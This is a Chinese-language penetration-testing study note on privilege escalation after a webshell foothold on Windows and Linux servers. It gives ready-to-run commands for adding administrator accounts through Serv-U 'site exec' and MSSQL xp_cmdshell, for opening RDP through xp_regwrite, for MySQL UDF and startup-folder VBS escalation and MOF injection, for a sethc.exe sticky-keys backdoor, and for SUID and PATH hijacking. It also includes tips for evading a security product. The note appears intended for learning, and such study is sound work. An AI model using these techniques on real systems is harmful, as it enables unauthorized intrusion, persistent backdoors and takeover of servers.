行业新闻

渗透测试学习笔记--提权

渗透测试学习笔记--提权

提权需要的东西有点儿多,笔记里出现的工具不建议在百度上下载。可以去找找替代,上GitHub看看一些命令

Type 查看文件内容

Cacls命令 设置权限

提权前

针对网站测试过程中,通过webshell权限夺得服务器权限

判断管理员是否在线:query user

如果添加管理员权限被安全狗拦截,可以试着添加到远程连接组

Net localgroup “Remote Management Users” tatsumaki/add

虽然没有管理员权限,但是可以添加到远程登陆组,可以进行远程登陆

常见脚本所处的权限

Asp/php匿名权限(网络服务权限)

可能有一些读取权限,比如网站目录

Aspx user权限

一般是普通用户权限,可以执行cmd命令

Jsp 通常是系统权限

除非做了专门的降权处理

Weblogic tomcat 权限比较高

根据当前搭建环境运行容器来决定权限

收集信息

内外网

ipconfig 判断是内网ip还是外网ip

有可能服务器直接放在公网上,也有可能通过路由器端口转发

服务器系统版本和位数

影响exp执行

补丁

调用exp

安装软件情况

防护软件情况

端口情况

支持脚本情况

常用命令

Windows下命令:

Ipconfig /all 查看当前IP

Net user 查看当前服务器账号情况

Netstat -an 查看当前服务器端口开放情况

Ver 查看当前服务器 操作系统

Systeminfo 服务器配置(补丁情况)

Tasklist /svc 当前服务器进程情况

Taskkill -pid 结束某个pid号的进程

Taskkill /im qq.exe/f 结束QQ进程

Net user test 123456 /add 添加一个用户名为test 密码为123456的用户

Net localgroup administrators test /add 将用户test添加到管理员组

Whoami 查看当前用户(当前权限)

Linux下命令:

Ls -al 查看当前目录下的文件和文件夹

Pwd 查看当前操作路径

Uname -a 查看当前服务器内核信息

Cmd命令执行

除非当前webshell权限较高,否则一般不能调用和执行cmd命令

也可能:

1 被防护软件拦截

2 cmd被降权

3 组件被删除

针对前2种情况,寻找可读可写目录,上传cmd.exe 将执行的cmd路径替换原有路径,再次调用执行

如果组件被删除,看是否支持asp或者php脚本。如果支持aspx,可以上传aspx,通过aspx大马(或者php大马),直接调用默认cmd

扫描扫出了其他人的大马

可以尝试用?profile=a来查看密码

大马

下载文件是通过大马,将其他服务器上的东西下载到这台服务器上

查找3389

读注册表

工具扫描

命令探针

Windows提权

几个提权类型:第三方软件提权(远控软件)、溢出提权(计算机本地的一些漏洞未打补丁)、数据库提权(用的较多)

第三方软件提权

常见的第三方软件提权

FTP软件:server-u g6ftp filezilla

远程管理软件:PCanywhere radmin vnc

Server-u提权

检测启动server-u

有修改权限

127.0.0.1是否开启43958端口

43958 默认监听的管理员接口

步骤:进入serv-u 目录,找到配置文件,servudemo.ini

编辑 一般会有servu的用户 有些servu用户的权限比较大,可以放到cmd5中进行爆破密码

Cmd5.com 识别servu加密

登陆:ftp后跟ip

执行命令:

quote site exec net user test 123456/add

创建普通用户

quote site exec localgroup administrators test/add

普通用户加入管理员组

这样就利用ftp的系统账号,成功创建了一个有管理员权限的账号

无修改权限

暴力破解MD5

溢出提权

G6FTP提权

默认监听端口:8021

步骤:

首先找到管理员配置文件,将administrator密码破解

使用lcx进行端口转发(默认只允许本机链接)

Lcx.exe -tran 8027 127.0.0.1 8021

使用客户端以管理员用户登陆

创建用户并设置权限和执行的批处理文件

上传批处理

以创建的普通用户登陆ftp

执行命令:

Quote site x.bat

x.bat内容为添加系统用户 提权

执行命令:

net user test 123456/add

net localgroup administrators test/add

filezilla提权

如果安装了服务器,默认只监听127.0.0.1的14147端口

默认安装目录下有两个敏感文件

Filezillaserver.xml 包含了用户信息

Filezillasever interface.xml 包含了管理信息

提权思路:下载两个文件,拿到密码

端口转发,登陆远程管理ftpserver,创建ftp用户

分配权限,设置家目录为C盘根目录

使用cmd.exe改为sethc.exe 替换C:\windows\system32\sethc.exe 生成shift后门

连接3389 按5次shift,调出cmd.exe

远程管理软件提权

Pcanywhere

访问PCanywhere默认安装目录

下载用户配置文件

通过破解账户密码文件

Radmin

通过端口扫描,扫描4899端口

上传radmin.asp木马读取radmin的加密密文

使用工具连接

VNC提权

通过读取注册表十进制数

转换成16进制

破解16进制得到密码

Vncx4.exe -W

输入转换后的16进制

客户端连接vnc

溢出提权

主要是通过windows漏洞利用来获取系统权限

常见的溢出提权漏洞:

巴西烤肉

Pr

步骤:查看服务器打了哪些补丁

根据未打补丁的漏洞进行利用

启动项提权

前提:写入的目录需要写入权限

将批处理文件上传到开机启动项目录等待管理员重启即可

破解hash提权

上传pwdump.exe运行获取hash值

拿到lc5 彩虹表中去破解

得到管理员密码

需要管理员权限才可以执行读取hash操作

数据库提权

前提:要得到数据库管理员的账号和密码,具备数据库管理员权限

Sqlserver提权(mssql)

安装组件

开启3389

创建用户

提升权限

Sa账号的获取:查看config.asp conn.asp等文件

如果允许外连:直接使用工具连接,不过组件会被拦截

使用查询分析器添加如下命令:

添加CMD组件

EXEC sp_configure ‘show advanced options’,1

GO

RECONFIGURE

GO

EXEC sp_configure ‘xp_cmdshell’,1

GO

RECONFIGURE

GO

就可以执行cmd命令 然后添加管理员

如果添加管理员权限被安全狗拦截,可以试着添加到远程连接组

Net localgroup “Remote Management Users” tatsumaki/add

虽然没有管理员权限,但是可以添加到远程登陆组,可以进行远程登陆

接着再把C盘之类的文件进行降权

开启3389操作:

Exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;--

关闭3389

Exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,1;

删除cmd组件:

EXEC sp_configure ‘show advanced options’,1

GO

RECONFIGURE

GO

EXEC sp_configure ‘xp_cmdshell’,0

GO

RECONFIGURE

GO

如果不允许外连:

大马连接

Cmd组件不执行的话,上传aspx大马(权限更高)

Mysql提权

前提:同样需要SA权限

UDF提权

获取到对方的mysql数据库下的root账号密码

查看网站源码里数据库配置文件(inc,conn,config.sql,common,data)

查看数据库安装路径下的user.myd(/data/mysql/)

暴力破解mysql密码,3306端口入侵

UDF提权的原理:通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd

Windows两个导出dll

2000 C:\Winnt\udf.dll

2003 C:\Windows\udf.dll

5.1以下的版本,需要将udf导入到system32中;5.1以上的版本,需要导出到安装目录lib\plugin\

Udf脚本内容:

Create function cmdshell returns string soname ‘udf.dll’

Select cmdshell(‘net user test 123456/add’);

Select cmdshell (‘net localgroup administrators test/add’);

Drop function cmdshell; 删除函数

启动项提权

查看有哪些数据表

Mysql>show tables;

默认情况下,test中没有任何表存在

在test数据库中创建一个表

Mysql> create table a(cmd test);

在表中插入内容

Insert into a values (“set wshshell=createobject(“”wscript.shell””)”);

Insert into a values (“a=wshshell.run (“”cmd.exe /c net user test 123456 /add””,0)”);

Insert into a values (“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add””,0)”);

这三条命令创建一个vbs脚本,然后导入到开机启动项

Select * from a into outfile “c://documents//administrator//开始菜单//程序//启动//a.vbs

重启即可

Mof提权

1 上传mof.php

输入相关信息 执行cmd命令 提权

2 上传文件x.mof

使用select命令导出到正确位置

Select load_file(‘C:/wmpub/nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’

设置允许外连

Grant all privileges on *.* to ‘root’@’%’ identified by ‘root’ with grant option;

反连端口提权

利用mysql客户端工具连接mysql服务器

执行命令

Linux提权

方法:比较多是通过内核溢出的方式,先查看内核版本,找内核对应版本的漏洞进行溢出。溢出成功,提升为root权限

内核溢出提权

查看内核

Uname -r

反弹shell执行命令

上传exp

编译执行

根据内核版本查找对应漏洞

收集exp

可以从www.exploit.db.com中查找漏洞利用

Mysql udf提权

上传库文件

执行库文件创建命令执行函数

利用suid提权

寻找系统里可以用的suid文件来提权

$ find / -perm -u=s -type f 2>/dev/null

利用环境变量劫持高权限程序提权

查找可操作文件

$ find / -perm -u=s -type f 2>/dev/null

利用file命令查看文件是否可执行

执行该文件

执行的时候可能会报错,根据报错查看调用系统命令

利用低权限用户目录下可被root权限用户调用的脚本提权

设置bash的$path环境变量

调用cat命令时,cat会从上级目录寻找。当我们添加.到path环境变量的时候,会先从当前目录寻找cat指令

新建cat,添加执行权限

再次运行./msgmike命令的时候,就会触发当前目录下的cat(/bin/sh),从而提权。

关闭